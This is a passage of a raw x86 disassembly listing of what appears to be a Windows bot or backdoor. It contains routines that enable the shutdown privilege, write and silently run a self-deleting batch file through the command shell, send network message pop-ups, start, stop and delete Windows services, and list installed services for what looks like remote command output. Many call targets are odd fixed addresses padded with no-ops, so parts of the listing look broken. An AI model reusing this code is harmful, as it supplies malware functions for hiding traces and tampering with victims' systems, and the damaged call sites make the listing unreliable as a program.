		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB564
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB6F4, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0864h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 2650937h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D7D8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680506h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 26803E7h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680310h
		nop


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2800000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2650CB8h
		nop


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C04ECh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5A4
		push	edi
		push	eax
		call	dword_4CB5B4
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_439040


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_439018
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438FE8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C04ECh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26A0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A043Dh
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2780000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439068[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_439064[esi]
		push	offset unk_439178


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB6A0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43914C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6A0
		push	off_439060[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB618
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670E94h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB500
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 2670E94h
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB56C
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB508
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CB570


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2670E94h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CB51C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CB51C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DAFE0
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DAFE0
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DAFE0
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB618
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB5E4
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2670E94h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CB51C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB29C
		push	off_439060[eax*4]
		push	offset unk_43970C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB29C
		push	off_439064[eax*4]
		push	offset dword_4396F0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB29C
		lea	eax, [eax+eax*2]
		push	off_439060[eax*4]
		push	offset unk_4396CC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB49C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DB49C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB23C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB23C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB23C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB518
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB4F0
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
